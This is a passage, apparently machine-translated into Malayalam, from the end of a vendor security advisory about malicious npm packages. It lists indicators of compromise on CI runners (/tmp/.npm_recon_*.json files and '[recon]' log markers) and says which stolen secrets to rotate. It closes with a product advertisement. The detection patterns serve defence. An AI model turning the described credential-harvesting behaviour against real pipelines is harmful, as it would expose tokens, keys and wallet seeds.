  • പുരാവസ്തുക്കൾക്കായി വേട്ടയാടുക. റണ്ണേഴ്സിനെ പരിശോധിക്കുക /tmp/.npm_recon_*.json (*) ഒപ്പം [recon] … ഇൻസ്റ്റാൾ ചെയ്തത് … സമീപകാല CI ലോഗുകളിലെ മാർക്കർ. കണ്ടെത്തിയാൽ, ഓരോന്നും തിരിക്കുക അതിനുള്ള യോഗ്യതാപത്രം pipeline — CI ടോക്കണുകൾ, ക്ലൗഡ് കീകൾ, രജിസ്ട്രി ടോക്കണുകൾ, പരിസ്ഥിതിയിലോ .env ഫയലുകളിലോ ഉള്ള ഏതെങ്കിലും വാലറ്റ് സീഡുകൾ അല്ലെങ്കിൽ സ്വകാര്യ കീകൾ.

അവലംബം

എഴുതുന്ന സമയത്ത് ഈ ക്ലസ്റ്ററിനെക്കുറിച്ച് ബാഹ്യ റിപ്പോർട്ടിംഗ് ഒന്നും ഉണ്ടായിരുന്നില്ല; വിശകലനം മുകളിൽ പറഞ്ഞവ പ്രസിദ്ധീകരിച്ച പാക്കേജ് ഉള്ളടക്കങ്ങളെ നേരിട്ട് അടിസ്ഥാനമാക്കിയുള്ളതാണ്.

സ്കാ-ടൂളുകൾ-സോഫ്റ്റ്‌വെയർ-കോമ്പോസിഷൻ-വിശകലന-ടൂളുകൾ
നിങ്ങളുടെ സോഫ്റ്റ്‌വെയർ അപകടസാധ്യതകൾക്ക് മുൻഗണന നൽകുക, പരിഹരിക്കുക, സുരക്ഷിതമാക്കുക
നിങ്ങളുടെ സൗജന്യ അക്കൗണ്ട് നേടൂ.
ക്രെഡിറ്റ് കാർഡ് ആവശ്യമില്ല.

നിങ്ങളുടെ സോഫ്റ്റ്‌വെയർ വികസനവും ഡെലിവറിയും സുരക്ഷിതമാക്കുക

സൈജെനി ഉൽപ്പന്ന സ്യൂട്ടിനൊപ്പം